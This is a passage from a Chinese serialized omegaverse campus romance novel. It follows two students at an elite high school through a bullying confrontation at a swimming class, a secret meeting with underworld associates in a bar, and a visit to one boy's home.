“你不是问我,考来星耀后不后悔吗?”匙越看着天空说。 “我说不后悔是真的。”匙越笑了:“我以前都没有穿过校服,也没有上过什么讨论课,周围的人都不爱学习,逃课都很常见了,学校的草坪是坏的,也没有什么电子设施星耀是我们国家最好的高中,我妈要是在世知道我现在在哪里读书,她会很高兴的。” 那天晚上隽云回到家里,第一次没有吃药也睡着了。 平常如果不吃药的话,他会失眠到三四点或者熬到天亮才能睡一会儿。 但是那天晚上,他躺在床上回想晚上发生的一切,匙越的父母、匙越的生活、他和他说过的话,惊觉,原来有的人光是活着就很不容易了。 思来想去,一种复杂的滋味包裹着他,一整天过去,隽云太累了,最终昏昏沉沉地睡着了。 * 又是一个周一,九月底气温已经明显转凉,不少人换上了秋季的校服。 一整天,匙越和隽云都没有任何交集。 下午下了课,隽云收拾书本,将发的几张试卷塞进书包里准备带回去做,文强又在吆喝陆思华和柳元誉收拾快点,他等了会儿,准备跟他们一起出门。 自从知道隽云的爸妈放松了对他的管制之后,文强便十分夸张地邀请隽云和陆思华上下学一起走,还说这以后都是他们美好的青春校园回忆。 陆思华对此没意见,隽云也无所谓,文强和柳元誉关系不错,所以偶尔柳元誉也会臭着脸加入。 于是两个alpha一个omega一个beta就这么诡异又和谐地走在校园里。 星耀F4行走在校园里是一道靓丽的风景线,时常被偷拍发到“团结友爱、互抱大腿”群聊里引起热议。 文强对此只有一个看法——他才是最帅的那个。 放学了,匙越没起身收拾东西,往后倚靠着椅子,他的腿很长,踩在桌底的铁横杆上,右手拿着一只笔懒散地转了个圈,目光落在隽云身上。 等隽云背上书包转过身,他的视线又落在了面前的练习册上,脸上的神色若有所思,似乎在思考难题。 文强正推着柳元誉往前走,柳誉元烦躁地把他手打下去:“你别弄我” 隽云走在他们后面,在经过匙越的时候,他瞥了一眼匙越的桌面。 匙越的字写非常俊秀飘逸,很大气的字。 他在写作业。 就是不知道为什么,笔尖迟迟没有落下继续写,悬停着,看起来应该是被难住了。 隽云心道他还蛮认真的,思考这么久。 文强返回来的时候恰好撞见隽云在看匙越,猛然想起两位的孽缘以及隽云找人把匙越揍了的江湖传说 “诶诶,别这样!”他赶紧把隽云拉走了,手臂拦住隽云:“有话好好说,算了算了,我们走吧” 隽云:“?” 在后面的陆思华冷笑了一声。 * 噪杂的酒吧里人影重重,不少omega和alpha贴身跳劲舞。 角落的椅子上坐着一个身材魁梧的男人,脸上有一道明显的、狰狞的刀疤,他在这里坐了有一段时间了,烟灰缸上堆积的烟头红光明灭。 没多久,对面的座位终于有人落座,刀疤脸男人抬头:“来了?” “明叔。”匙越把头上的黑色帽子摘下,扔到桌上,他仰靠在柔软的沙发上,往后随性地巴拉了一下自己的额发,眉压眼,身上的戾气很重: “我刚才被人跟踪了。” “什么?”明叔惊诧:“现在还跟着吗?” 匙越有点渴,他开了一罐桌子上的啤酒,仰头,棕色透明的酒液顺着下颌淌下来一点,喝完后他一抹下巴,然后把空了的罐装瓶子砸到旁边垃圾桶里。 匙越说:“甩掉了。” 明叔:“知道是谁派来的吗?” “知道。”匙越说:“是闵荣派来的。” “他奶奶的!”明叔一拳砸在桌上:“他到底想干什么?前段时间不是还好好的吗?” “应该是起疑了。”匙越:“前两天就派人跟着我了,跟到了东城区。” “可能是想知道我住哪吧。”匙越冷冷一笑,略去了中间一些比较惊险的过程:“不过我甩掉了。” 明叔知道匙越的身手是不错的,从小就混迹底层的人还能全须全尾地站在那里安全长大,就说明了他的本事。 匙越:“他可能想知道这么多年我有没有和别的什么人联系过。” “别的人你是说”明叔心里一颤,他心里顿时明白闵荣在防什么了。 毕竟匙越的身世并不是简单的出身无父年少失母那么简单,闵荣想认回他这个alpha儿子,想认回却不好认回,中间确实拦着一道阻碍。 “分明上次见面的时候,他是想认回我的。”匙越凝思:“为什么会这样?” 明叔心直口快:“是不是有人从中使袢子了?” 他们对视一眼,心里都有了同样的想法,匙越嗤笑一声:“除了她还有谁?” 说不定是有人在旁边吹了枕头风。 “有人先按耐不住了。”匙越意味不明地说。 明叔瞬间理解了他的意思:“我这就叫手下的人去办。” “嗯。” 明叔起身,拿出手机打了个电话过去。 匙越点了支烟,烟头咬在嘴里,他招了招手,两个在另一边角落候着的男人就起身过来了。 这里是东城区最大的酒吧,可以说里面都是混黑、来历不简单的人,要么玩阳的直接拳打脚踢,要么玩阴的直接坑你一把,稍有不慎被卖了连命都不剩。 但是他们都只会认匙越做老大。 东城区警察不管,法律不管,只看拳头手腕硬不硬。 这么多年也就出了匙越这么个狠人,从小厮混到大,玩命地打架,偏偏还脑子聪明,把敢阴他的人都刀了回去。 没妈后有段时间饭都吃不饱了就只能去打黑架,也不管谁对谁错反正有他在就能赢,因为他不要命的,在这种底层□□混久了最怕的就是这种人,没有亲人,没有任何软勒。 那两人比他年纪稍长,瞧瞧打量匙越。 据说最混乱的那几年他还能保持好成绩让老师喜欢他,收留他去住,甚至给他出了学费,不然恐怕流落街头,也没法继续读书了。 可以说这人实在脑子好又能打,任谁看到他都要忌惮三分,久而久之,认他做老大也不是不行。 那两人收回视线,眼观鼻鼻观心: “老大。” “老大。” 匙越没什么表情地“嗯”了一声,他的眼眸狭长,眼睛墨黑,夹着烟的手指骨节粗糙,只有在他手下做事的人知道那拳头落在身上有多狠。 叫他们过来,是因为他突然想起来一个事情。 他想起来周五的时候,那个扎双马尾叫什么方悦礼的女生说,有人准备在宴会上对隽云下药。 而他记得隽云和他第一次见面,就是因为被人下了药,引起了强烈的发情热才遇到他的。 没想到,这一次又被人下药了 烟头夹在手上,匙越始终没抽,袅袅烟雾缓缓飘上,他在想,会不会是同一个人? 上次是谁做的? “去查一个事。”匙越开口道。 于是那几人听着,收敛好自己的表情下去了—— 作者有话说:狼人[666][666] 评论区掉落一百个红包[垂耳兔头] 第33章 第三十三章 “我们是什么关系。”…… 第二天下午有一节游泳课。 匙越换好泳衣, 从换衣间走出来,他头上戴着泳帽,泳镜也戴在镜帽上。 alpha、omega、beta的体力不一样, 并且为了避免运动的时候信息素在泳池里外泄,实行分区教学, 所以在匙越身旁站着的都是高三年级的alpha,个个都身材高大。 匙越左边站着陆思华,右边站着一个女alpha——叶馨言。 她刻意跟匙越旁边的李恩惠换了位置, 站在他的旁边。 等到学员们热好身, 教练在水下示范动作,在泳池边的alpha们看着。 “第一次游泳吧?”叶馨言说。 匙越看了眼旁边的人, 似乎才发现她:“有事?” 叶馨言翘着手指挡在鼻子前:“没事,就是一想到要和你们这些社会招考生在一个泳池里游泳,光是想想, 泳池里的水都臭了。” 在叶馨言旁边的李恩惠听了后嘴角勾起,她短促地笑了一声:“可惜,有的人没有自知之明。” 匙越没什么表情,在东城区长大,从小到大他听过的污言秽语不少, 基本都是带父母或者生殖器的, 很少有像他们这么文明的了。 实在是没什么攻击力的话,反倒骄纵的有点好笑。 匙越:“是吗?” 他轻声说:“那你等会儿多喝点水。” omega和他们不在一个游泳池里,但两个地方相隔的也不太远,地上铺着防滑瓷砖,越过池岸能看见alpha们游泳。 教练示范完后,就让他们开始自主练习,岸上都配备了救生员, 基本不会有什么问题。 隽云来的比较晚,没看到教练示范,不过他会游泳,等他游完之后,顺着泳池扶梯上了几个台阶,恰好听到对面的泳池传来一声巨大的“噗通”声。 不仅隽云,许多omega都被吓到了,顺着水声看过去。 只见一个看起来比较瘦弱的alpha在水里噗通,而岸上站着几个冷眼旁观的alpha。 叶馨言站在这群人中间,她穿着紫色的平角泳裙,裙摆盖过臀下,见水里男子到处扑腾的慌张模样,她嘴角勾起,双手抱胸欣赏着这个alpha的囧状。 “救命救命”男子在水里呛水:“我我不会游泳救救救我” “他们怎么能这样,”隽云旁边有个女生带着点哭腔急急说:“那是阿杰” 有个人好心拉住她:“你别过去,他们就是专门欺负社会招考生的,你还是个omega,忍着吧。” 他转头,看到一个瘦弱的omega女生脸色发白地捂着嘴跌在地上,瘦弱的身躯在浑身发抖。 他见过她,是之前匙越救过的社会招考生。 再一转头,那边的救生员已经带着泳圈跳下去救那个alpha了。 毕竟还在学校,不可能让他真的淹死。 而岸上那几个人已经转移了目标,叶馨言带着几伙人正在逼近另一伙人,最前面的那人身高腿长,是匙越。 匙越跟着几个alpha,隽云很眼熟,是之前欺负过匙越的那几个人,现在竟然都倒戈站在匙越这边了。 两方人对峙,气氛剑拔弩张,战争似乎一触即发。 隽云扫视场馆,柳元誉和陆思华正坐在休息区喝水,一站一坐,举动十分悠闲,没有一点想要劝阻的意思。 隽云取下泳镜和泳帽,取过岸上放着的干毛巾,他擦了擦有点湿的发尾还有湿漉漉的身体,然后拎着走了过去。 他的声音冷冷:“你们在干什么?” “隽云!”当着众人的面,叶馨言惊喜地叫他的名字,然后跑到隽云身边,挽住他的手臂,贴在他身边说: “隽云,匙越说要把我丢下去。” 隽云:“” 自认为他长了眼睛,哪队人更气势汹汹剑拔弩张他看得出来,怎么看也不是匙越把她丢下去,而是叶馨言,又要欺负匙越。 毛巾挂在修长白净的脖颈上,浓黑湿润的头发贴着隽云的额头,肤色冷白,薄薄的水珠在脸上像是一点薄霜,他的唇角平直,看着匙越说: “真的吗?” “真的,真的!”叶馨言脸上一喜,以为他关心她,说:“匙越看不惯我,他针对我,想把我推到水里,还说要让我多喝点泳池里的水,我都听到了。” 匙越偏过头短促地笑了一声。 这人还挺会倒打一耙。 不过他更会就是了。 他睁大眼睛:“叶姐姐怎么能这么说我?” 叶 叶姐姐? 他们没听错吧? 在场的人纷纷鸡皮疙瘩都出来了,止不住地恶寒。 “叶姐姐?”柳元誉刚坐在椅子上,手上拿着喝的瓶饮料在嘴边一顿,扯了扯嘴角:“好恶心的称呼。” 陆思华淡淡:“我也觉得。” “这个alpha不简单。”柳元誉点评:“你遇到对手了。” 陆思华没有说话。 “你叫谁姐姐啊!?”叶馨言愣了几秒后反应过来:“我有那么老吗!” “叶姐姐不老,就是比我大一岁。”匙越垂下眼眸,人高马大但是眼角泛红声音委屈: “既然姐姐不乐意,我不叫就是了。” 叶馨言:“” 隽云:“” 场上所有人:“” “不是,”目睹了一切,坐在观众席上的柳元誉张了张嘴巴,好半天才找回自己的声音: “这个人有毛病吧?” 陆思华的目光始终看着隽云。 他倒要看看,他会站在哪边。 “是这样吗?”隽云的语气很淡,目光掠过匙越。 匙越个头很高,在一众alpha里也是鹤立鸡群的存在,但是这种身高带来的气势和压迫感却和对面的隽云对撞,隽云看似清冷,但眉眼压着,眼神冰凉,一时间两队人僵持住。 有人窃窃私语:“都说匙越和隽云不对付,我看确实,隽云这是要为叶馨言出头了?” “匙越这次真的完了。” “那可不,撞枪口上了。” “有好戏看了。” 陆思华脸色不太好看,以他这么多年对隽云的了解,如果要帮叶馨言的话,隽云反倒不会问那么多。 匙越的视线扫过叶馨言挽着隽云的手臂:“是真的又怎么样?” 隽云:“你承认了?” 叶馨言几乎整个人靠在隽云身上,她看着匙越,嘴边挂起得意的笑容:“隽云” 很快,她的笑容僵硬在脸上,因为隽云把她推开了。 “隽” “不要靠着我。”隽云警告她。 然后没有理会她的黑脸,隽云从叶馨言的队伍中走出,将两队僵持着的距离彻底打破,他径直走到了匙越面前。 匙越静静看着他,他散漫地想,隽云会怎么当着这么多人的面威胁他以后老实点? 毕竟他们两个人私底下亲嘴的关系不能被人发现,现在这么多人,他又和他的未婚妻对上了,以隽云的性格,做戏做到底,肯定不会护着他。 这么想着,隽云的手一伸,拽住了他的手腕,冷声道: “你跟我过来。” 在场的人都愣住了 ,包括匙越。 现场很快炸开了锅: “我艹?” “等等,事情发展的好像不对。” “隽云怎么拉走匙越不拉叶馨言啊?” “不对吧,他未婚妻不是叶馨言吗?” “怎么把叶馨言丢在这里?” 隽云的手冰冰凉凉还带着水珠,贴在他的手腕上,强硬中带克制与控制,匙越低垂着眼,看着隽云白皙纤细的胳膊拽着他往场外走,唇角微不可察地,缓缓翘起弧度。 在经过叶馨言身边的时候,他一扫刚才阴郁沉闷的神情,嘴角勾起,眼尾斜飞地瞧了一眼叶馨言。 叶馨言:“?” 什么意思。 旁边的人目瞪口呆。 隽云拽着匙越的手腕走,围堵的人自发拨到两边形成一条小路,目送他们二人离去。 叶馨言攥紧了她的手,她紧紧盯着他们二人离开的方向。 另一边休息区,柳元誉脸上疑惑,他没看明白:“他们要去哪?” 陆思华的脸色很难看,饮料瓶在手里被捏的咔咔作响,凹下去几块。 视线里,高大的一米九alpha被一米七几的白瘦omega拽着走,omega的态度十分强硬,警告和威胁的意味,走路的速度很快。 alpha腿很长,于是就出现omega在前面闷头走,alpha在后面被他牵着像是在悠闲散步,因为身高体型差距明显,走着走着,前面的omega逐渐被他覆盖住身形。 “这个社会招考生”柳元誉奇怪地皱眉:“不对,他们俩的氛围怎么这么奇怪?” 陆思华额角青筋跳跳,他冷冷地说:“闭嘴。” 旁边有几个家世地位也十分显赫的alpha看完了一场大戏,惊讶地合不拢嘴,见叶馨言脸色铁青,一时间想笑又不好笑出声。 叶家分明是不受隽家待见了。 还有什么是比未婚夫当面抛弃还尴尬的? 叶家大小姐自从和隽云订婚了,耀武扬威了两年多,还是第一次吃这种瘪。 李恩惠嘴角抽抽,她站在叶馨言旁边静默了一下,小心打量她的神情,找补说: “隽云隽云把匙越拉走肯定是因为要教训他!换个场地而已。” “对对对,隽云一定会狠狠教训他的。” “隽云不会心慈手软的。” “一个社会招考生而已,能激起多大的水花?” 叶馨言这才找回点场子,扬起头来,不自然地撩了一下头发道:“就是这样的,隽云只是不想让我看到他动手,所以才这么做,私下替我出气。” 越说她自己也觉得心虚,真的是这样吗? “原来是这样啊。” “原来如此。” “我就说嘛。” 在叶馨言周围围着的人恍然大悟替她挽尊,也有的明眼人忍不住笑出声来。 更多人不过是旁观的路人,他们散了,嘀咕着: “不对啊,这个事情走向” “感觉他俩关系也没传说中的那么差啊。” “团结友爱,互抱大腿”群聊此刻正热火朝天地聊着: [今天下午的事都听说了吗?] [听说了听说了!只恨我当时怎么不在游泳馆啊啊啊] [什么什么?我游完就走了发生了什么?] [匙越和叶馨言各带着一拨人吵架,然后隽云天神降临,在众目睽睽之下把匙越拉走了!] [在现场!该说不说,拽手腕有点色色啊] [拉去干嘛?] [不知道!] [说不定私下互殴。] [楼上说的有道理,说不定是你给我一拳,我给你一拳。] [不对吧,那为什么不当着这么多人的面打啊?] [迷茫加一,隽爷到底在为谁出头,该不会真和社会招考生关系挺好的吧?] [应该不会,不然叶馨言咋办。] [好好奇拉走之后会干什么] [加一,他们到底会干嘛啊?] [有什么事不能在大庭广众下说?] * 隽云拉着匙越去了一个储物间。 把木门拉开,然后关上,扭了一下门锁,把门锁上了。 地上水渍很多,两边靠墙的地方都放了一个漆了银漆的大铁柜,上面有很多小格子,专门放东西的。 走过两边有储物柜的走道,还有一个黄色的门帘,掀开,里面没有人,只一个非常大的坐垫子在中间,两边还有休息的凳子。 中间的垫子软黄,刚好到隽云小腿的高度,弹软适中,非常适合休息的时候坐下来休息。 即便是大白天也开着灯,灯光明亮晃荡,隽云走到边上,那里有一块靠墙横在半空中凸出的面板,放了几个泳镜和瓶装水。 隽云刚把他的黑色泳镜放在面板上,就听到匙越的声音:“为什么拉我走?” 隽云转身,看到alpha上半身裸露,健硕流畅的肌肉上还挂着水珠,身上的一些细小的伤口,被烫伤、被划伤这些伤即便是愈合了也留下了印子在身上。 隽云视线停留了两秒,撇开脸,语气冷硬:“没有为什么。” 匙越走近了,他的头发也打湿了,头发卷翘起来,他的眼眸沉沉:“这个不算原因。” “为什么拉我走不拉叶馨言?”他又问了一遍,像是很想知道这个问题的答案。 手腕上还残留着温度,匙越看着他,他也没想明白,开学第一天就警告他离他远点,在学校别和他说话的人,怎么突然这么大胆。 “是你说的,不能让任何人发现我们的关系。” “我们什么关系。”隽云眼皮一掀。 “你觉得呢?” 两个人都沉默了。 即便他刚刚是那样做了,但其实他们什么关系都不应该是。 他遵守规定了,隽云也一直遵守规定。 今天又为什么打破了? 隽云没有说话。事实上他自己也说不清为什么那一瞬间想拉着他走。 可能是看到他身上的伤想到他以前很艰难的生活。 十几个人把匙越围住的时候,他脑海里想的是,在白凉的墓碑旁边,匙越擦过照片里女人的脸,弯腰告诉她,他过的很好。 总之,不该是今天这样的。 考来星耀很不容易吧,被别人欺负很不容易吧,他脑海中闪过匙越举手回答问题的时刻,匙越认真看书写字的时刻。 最起码让他安安稳稳地读书吧。 “很难回答吗?”匙越久而等不到回答,他短促地笑了一声,道:“那就不回答了,我换一个问法。” 隽云:“什么?” “你当着这么多人的面把我拉走,不怕他们误会吗?” 隽云下意识追问:“误会什么?” “你觉得呢?”匙越的眼眸黑沉,有如实质一般盯着他,让隽云顿时有一种被猎犬盯上的猎物般,后脊发凉。 一种诡异的心知肚明在他们二人间流淌。 隽云感觉发梢有一滴水滴到了后脖颈,他后知后觉地抬手,拿毛巾擦了一下后脖颈,那里什么都没有。 他的手一顿,收回来垂在身侧:“不会,他们知道我和叶馨言订婚了,所以” 所以不会觉得有什么,请你不要胡思乱想。 但是此刻隽云的脑子有点浆糊,到底胡思乱想的人是谁也说不好了。 听到订婚两个字,匙越视线移开,看向天花板:“是啊,订婚了。” “原来你还记得,我都差点忘了。” 隽云抿了抿唇,心里有种奇怪的感觉,随着这番话落地像蝴蝶蜻蜓轻轻点了一下水面,搅得他一池湖水全数乱了,涟漪轻轻散开来—— 作者有话说:是啊,订婚了,又没结婚。 ———— 评论区掉落一百个小红包 第34章 第三十四章 “喜欢的omega。”…… 匙越的视线散漫地又落回到他的脸上:“你的未婚妻刚才说我欺负她, 你是信我还是信她?” 要他二选一。 好半响,隽云才找到自己的声音,他选择了中立:“我信事实。” 信事实? 匙越点头, 了然地说:“行。” 然后在隽云莫名其妙的眼神里,匙越上下嘴皮子一碰, 吐豆子似地,开始告状: “叶馨言把我身边的一个alpha推下水,还不许我去救他, 那个alpha也是社会招考生, 她是在杀一儆百,特别警告我, 以此来恐吓我。” 匙越说的十分严重:“我现在身心受创,精神遭受了巨大的打击。” 他双手环绕抱胸:“这事你打算怎么办?” 他又轻轻说:“你未婚妻欺负我。” 一声控告,带着点促狭揶揄的意味。 “”完全看不出来哪身心受创遭受重大打击了, 隽云:“我会去警告叶馨言的。” “算了,还是不用了。”匙越又退一步,叹一口气,很大度又很彬彬有礼地说:“不劳烦您去找她。” 隽云:“” 他后知后觉,怎么感觉匙越每一句话都像带着刺, 带着点别的意味。 隽云不太明白, 明明他是好心帮他不是吗? 就在这时,门外响起了敲门声: “谁啊,怎么把门反锁了?” “请问里面有人吗?我们要用储物室。” “喂?麻烦开一下门吧。” “有人在吗?” 随着一声声催促的敲门声响起,匙越和隽云对视一眼。 在砰砰砰的敲门声中,隽云语气平缓:“下次再和叶馨言起冲突就来找我,你没有背景,不是她的对手。” “好啊。”这次匙越答应的很干脆利落, 眼里闪过一丝笑意。 外面的人还在催促,但是他们最好还是不要一起出去。 “你出去吧。”隽云背过他说。 匙越的目光落在他的身上,隽云的背很薄,因为要游泳,穿了一身白色极简竞速背心,下半身是短角泳裤,腰头不是寻常的松紧带材质,而是一层加宽的阻隔橡胶环。 裤腿、裤头,包括上衣紧贴皮肤的缝线都有一圈橡胶圈,后颈上还贴了一枚信息素阻隔贴。 他为什么这么怕信息素外溢? 之前也是,给自己打抑制剂抑制自己的信息素。 想着想着,匙越的视线往下,布料以外露出来的皮肤光滑细腻,双腿笔直匀称,紧身短裤穿在身上包裹住浑圆的臀部 隽云等了一会儿也没有听见匙越动作的声音,略微疑惑地侧过脸,乌黑的发丝贴在额头上,脸如白瓷洗过一般,眼尾上挑,瞥了一眼匙越:“你怎么” 话还没说完,匙越撩开帘子出去了。 隽云一头雾水。 门外的人还在持续地敲门,他们是低年级的学生,马上要上游泳课了,他们拿着自己的包和水杯以及换下来的衣服过来,准备放在储物室。 门却怎么也打不开。 持续敲了一会儿,突然门被拉开,储物室里开了暖气,雾气随着门口的缝隙扑了出来,地板和墙面上的水痕在灯光反射下明显。 门口站着一个非常高大的alpha,他没有穿上衣,露出精悍结实的肌肉,面庞英俊,对面的低年级学生们纷纷愣住了。 门口堵着好几个人,匙越侧了一下身体,从门口出去:“借过。” 随着alpha逐渐走远,门外的几个人的视线从他身上下来,几个人叽叽喳喳了起来: “哇,还挺帅的。” “谁啊?” “不认识。” “好像是高三的学长。” “学生代表你们不认识吗?” “原来就是他啊!” 一阵惊呼声。 “那他有omega了吗?” “他订婚了吗?” “好像都没有。” “那我要去和他表白!” “诶,别冲动,那个alpha据说拒绝掉了好多omega的表白呢!” “啊?那说不定是有喜欢的人了” “可能是!” 隽云坐在隔间里面,面无表情地心想,确实,光是他撞见的有人給匙越塞表白信都不止一次两次了。 可惜很多时候匙越都是笑脸收下,看着温和,转头就毫不在意地丢到垃圾桶里了,甚至连拆都不拆开,某种程度来说,他在这方面倒是很恶劣,一点都不像个老实人。 不过隽云知道,匙越确实是有喜欢的人,考来星耀有部分原因还是为了他。 为了喜欢的人拒绝别人,其实,他这么做倒也没什么问题 只是隽云清寒的眸子泛冷,他数了数学生会里和匙越走得近的几个人,猜测可能会是谁。 只不过似乎都不是,没看到匙越对他们有什么不同寻常的举动。 开学都这么久了,他也没看出来匙越到底喜欢谁,对谁特别一点。 隽云拧眉,匙越好像和谁都走的不是很近。 除了 “上次下大雨,我回学校拿东西还碰到匙越给一个omega撑伞!” “啊!那他喜欢的该不会就是那个omega吧?” 叽叽喳喳议论的中心话题突然到他身上,隽云一激灵。 “那个omega是谁呢?” “不知道诶,那天雨下的太大了,没看清是谁。” “我看到匙越的伞一大半都朝他倾斜过去,自己的肩膀都湿了。” “哇——” “哇——” 此起彼伏的哇声,隔着一个帘子,听他们谈论这些细节,隽云的脸突然发烧似地,烫了起来。 * “啪”桌子被人用力一拍。 “我的天啊——” 文强夸张道:“真的假的?你说隽云和谁?怎么可能啊!” 他又说:“隽云之前对匙越的态度你又不是不知道,冷的要死,从来都没和他说过一句话,怎么可能当着这么多人的面拉匙越走啊?” 陆思华的心情肉眼可见的很糟糕,脸色阴沉无比,偏偏文强不怕死地往枪口上撞: “陆思华,你怎么不说话啊?真的假的?” 旁边的柳元誉瞥了一样陆思华的表情:“你再问下去,有人要受不了了。” “啊?谁啊,为什么受不了?”文强大惊:“我到现在还记得开学典礼时他俩的表情,就差把互相讨厌写在脸上了!现在他俩什么时候这么熟了?” “不行,我得问问隽云。” 陆思华扯扯嘴角,皮笑肉不笑地扯出一个难看的笑容,他也想知道。 陆思华:“那你问问他。” 等隽云来了教室,他刚一坐下,文强就“蹭”的凑过来了,他的手压在隽云的课桌上,像个特工一样神神秘秘地压低声音问: “你和匙越是怎么回事?” “什么怎么回事?”隽云顿了顿,眼眸一垂,他说:“不熟。” 文强鬼鬼祟祟:“那你那天拉着他走” 隽云:“见义勇为。” 此话一出,在隔壁桌喝水的柳元誉差点呛到,他伸手,朝隽云比了个大拇指。 “见义勇为!?”文强目瞪口呆,他和隽云从小一起长大,也没见隽云这么见义勇为匡扶正义过啊。 “不是,你以前也不这么好心啊” 身后传来陆思华解围的声音:“要上课了。” “噢噢”不得已,文强赶紧坐回他的位置,他回过神来:“不对啊,现在不是大课间吗?” “陆思华你骗我!” “你话太多了。” “陆思华你有病吧。” “你才有病。” “天天这样,陆思华你觉得我很好骗吗!” “神经。” “你才神经!” 两人在隽云身后一来一回地互怼,陆思华的语气淡淡,文强更气了,也没了缠着隽云问话的心思,专心致志和陆思华斗嘴。 隽云没什么事,想起来有本小说他已经看了大半了,反正现在没事,不如继续看下去。 他从抽屉里找到后拿出来,放在桌面上,心不在焉地翻开,左手压在书上,右手指尖随手拨弄了一下书页,洋洋洒洒几百页随着他指尖的挑弄而落下。 目光没什么着点地看着书上的字,等回过神来的时候,隽云发现自己拿错书了。 “” 耳根一点点漫上热意。 桌洞里的手机震动,他的把手机拿出来,结果一看,恰好是匙越的消息。 这下真是,想什么来什么。 隽云的手指微微蜷缩,难以言喻地心跳加速。 隽云转头,看了一眼教室靠窗坐的位置,那里没人。 不知道为什么,隽云松了一口气。 解开锁屏,他点开和“sy1011”神秘人的聊天框- sy1011:周末去我家吗?- 云:理由?- sy1011:没有理由,就是想邀请同学来我家里玩。 这次没有什么借口,只是很单纯正经问他要不要去玩。 应该拒绝的。隽云心想。 他们在一个月的治疗结束后就应该恢复到陌生同学的关系了。 从理论上来说,他们确实不熟。 迟迟没有等到隽云的回复,匙越又发来一条消息- sy1011:Q口Q! 隽云看着这个表情包:“” 他有点受不了了- 云:为什么总是发这个- sy1011:不可爱吗Q口Q! 代入到匙越脸上可能出现的这个表情,竟然也毫不违和- 云:。 * 第三次踏入到熟悉的地方的时候,又遇到了匙越家隔壁的老伯,三人六目相对,不等匙越和他解释只是同学,老伯先抬手了,朝他们挥着蒲扇道: “好了好了,不用解释,我懂,我懂!你们感情真好啊唉哟” 隽云:“” 根本没有感情。 匙越笑了笑,他没有解释,在老伯慈爱鼓励的眼神中,带着隽云走到他家门口。 开门后,隽云走进了院子里。 匙越把大门再次锁好,他几步走过院子里,换了把钥匙把房门也开了。 隽云走进去,他闻到了屋子里有一股浓浓的饭菜香味。 隽云脸色迷茫:“厨房有人?” 匙越:“没有。” 隽云:“那我怎么闻到香味了?” 匙越:“我煲的汤在锅上。” 隽云一时怔愣住,汤? 还是他煲的? “是啊。”匙越:“现在都四点了,你来的太晚了。” 匙越面色平静地说:“有不吃的吗?” 他们这个年纪的都是十指不沾阳春水的,没想到还能吃到同学做的饭菜,隽云震惊了好半天才回过神来,说: “有。” “不吃什么?” 隽云犹豫了一下,还是说了。 “不吃香菜葱花蒜,不吃加了水果做的菜,多刺的鱼不吃,死了的虾不吃,豌豆类不吃,还有一切动物内脏都不吃,太油的以及味精放太多的不吃,就这些了。” 林林总总报菜名一样报出来,还就这些了。 这么多不吃,这么挑食。 匙越转头看他:“你还挺讲究。” 隽云颔首:“所以不用麻烦了,我回家吃也行。” “没事,等会儿我注意一下就行了。”匙越说。 进了屋后,匙越指了指地上的矮脚板凳和沙发说让他随便坐,然后他就进了厨房。 外面的天气很好,金黄色的夕阳落下来,被厨房的铁栏杆切割成几块,照进屋内,在地上留下几道长长余晖。 天气不算很凉也不算很热,屋内背光,有点黑,开着灯比较亮堂,但是隽云想晒一下太阳。 他在屋子里坐了一会儿,又跑到小小的院子里站着。 院子里栽了颗大树,让不大的院子更加逼仄了,大约能容纳七八个人,院子很小,地面也是土地面,绿油油的大树枝繁叶茂,伸出了院子外面,零星金黄色的阳光透过叶子的间隙照下来,在地上形成斑点。 隽云转头越过墙头看向隔壁的房屋,四围都是拥挤的房屋,一墙之隔的左边还挨着一个狭小的巷子,再上面是低悬的电线。 本应该是闷堵拥挤的地方,但是鼻尖萦绕着菜汤香味,身上落着阳光,他却意外地不觉得窒闷。 还觉得有点舒服。 这时大门开了,匙越没有穿着校服,而是换了一件深色无袖T恤,裤子是牛仔裤,一个十字架项链搭在他的胸口上,他拎着一袋子东西出来。 隽云好奇地问:“这是什么?” 匙越:“垃圾袋和垃圾。” 好生活化的东西。 隽云慢慢腾腾地:“噢。” 随即他笑了。 向来清冷不苟言笑的人哪怕是轻轻一笑都让人意外,更何况是这样毫不设防地笑出声。 匙越也勾唇跟着他笑了笑:“你笑什么?” 隽云摇头:“没什么,就是想笑。” 没有什么原因—— 作者有话说:下午大概三点还有一更[比心] 第35章 第三十五章 “交保护费。”…… 匙越:“陪我去丢垃圾去不去?” 出乎他的意料, 隽云点头了:“好啊。” 于是匙越一只手拎着垃圾一只手开门,隽云站在一旁看着他单手把钥匙插进去拧了两圈开锁,然后推开门, 匙越动作不小,因而也露出了他耳朵上的黑曜石耳钉。 “你有耳钉?” 隽云和他并肩走在路上, 问他:“什么时候打的?” 他身边没什么人会打耳钉。 因而在他看来还蛮稀奇的。 毕竟在家教严谨的A世世家门阀里,除了少数omega爱美之外,大多数的omega和alpha是很少打耳洞的。 因为身边的同龄人基本上都被当成集团继承人培养, 打耳洞带耳钉这一举动就有些不符身份的轻佻不够庄重性了。 匙越侧过头来, 他说:“大概是六年级的时候打的。” 六年级,那么小? 隽云微微睁大了眼睛。 看到他惊讶, 匙越笑了笑:“那时候我妈妈刚去世满一年,老城区的情况,你明白的, 如果不强大就会被人欺负,那时候好面子,再加上叛逆,就给自己打了耳洞,还有纹身” “纹身!?”隽云更惊讶了。 “已经洗掉了。”匙越说。 “喔” 隽云有点唏嘘, 他想到好几次匙越被人欺负后来找他的模样, 以及他背后满身的伤痕。 大概是从小被人欺负到大的吧。隽云唇线抿直。 不然也不会想要通过打耳洞纹纹身来显得强大了。 垃圾站离匙越住的地方不太远,事实上他们就算乱丢也没关系,毕竟这里本来就和废墟站没什么区别,但是他们还是走了十几分钟去垃圾站丟垃圾。 隔不到几米就有垃圾,巷口也是,很多地方都直接堆满了一袋又一袋的黑色塑料袋垃圾,没有人处理, 不知道里面装的是什么。 回来的时候路过一个巷子,里面蚊虫很多在嗡声飞舞,隽云没忍住,问匙越:“那些黑色塑料袋里面是什么?” 匙越告诉他:“那里面是尸体。” “”就不该多问。 隽云往他那边走了几步,几乎是挨着他走了。 想到匙越的胆小,他强撑着,分出一丝心神安慰他说:“这没什么,尸体而已,你别怕。” 匙越忍着笑说:“好的。” 回来的时候余晖已经没有那么大了,他们走的大道,路两边是涂鸦墙壁,天空是一层散尽的淡蓝色,粉色的云朵像被撕扯后的棉花糖一样铺在天上,随他们投在地上的影子缓慢挪动。 匙越双手插兜,散漫地走着,一米九的个头肩宽体阔,浑身散发着高级成熟成年人的气息,旁边的人脊背挺直,身形要瘦弱很多,他穿着校服,头发蓬松,碎发刚好盖到眉毛,看上去十分有学生气的一板一眼。 匙越稍微落了隽云两步,打量他的背影:“好学生。” 听到匙越这么叫他,隽云疑惑地转过身来:“你叫谁?” 匙越他自己吗? 